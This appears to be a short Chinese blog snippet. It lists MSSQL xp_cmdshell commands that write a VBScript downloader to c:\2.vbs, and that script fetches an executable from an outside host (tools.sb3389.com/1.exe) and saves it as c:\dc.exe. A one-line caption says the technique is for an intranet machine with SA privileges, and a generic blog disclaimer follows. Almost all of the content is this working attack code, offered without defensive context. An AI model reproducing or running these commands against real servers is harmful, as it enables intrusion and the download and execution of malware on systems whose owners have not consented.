EXEC master..xp_cmdshell ‘echo Set xPost = createObject(“Microsoft.XMLHTTP”) >c:\2.vbs’
EXEC master..xp_cmdshell ‘echo xPost.Open “GET”,” http://tools.sb3389.com/1.exe”,0 >>c:\2.vbs’
EXEC master..xp_cmdshell ‘echo xPost.Send() >>c:\2.vbs’
EXEC master..xp_cmdshell ‘echo Set sGet = createObject(“ADODB.Stream”) >>c:\2.vbs’
EXEC master..xp_cmdshell ‘echo sGet.Mode = 3 >>c:\2.vbs’
EXEC master..xp_cmdshell ‘echo sGet.Type = 1 >>c:\2.vbs’
EXEC master..xp_cmdshell ‘echo sGet.Open() >>c:\2.vbs’
EXEC master..xp_cmdshell ‘echo sGet.Write(xPost.responseBody) >>c:\2.vbs’
EXEC master..xp_cmdshell ‘echo sGet.SaveToFile “c:\dc.exe”,2 >>c:\2.vbs’
SA权限内网机存储MSSQL时候
【声明】:本博客不参与任何交易,也非中介,仅记录个人感兴趣的主机测评结果和优惠活动,内容均不作直接、间接、法定、约定的保证。访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。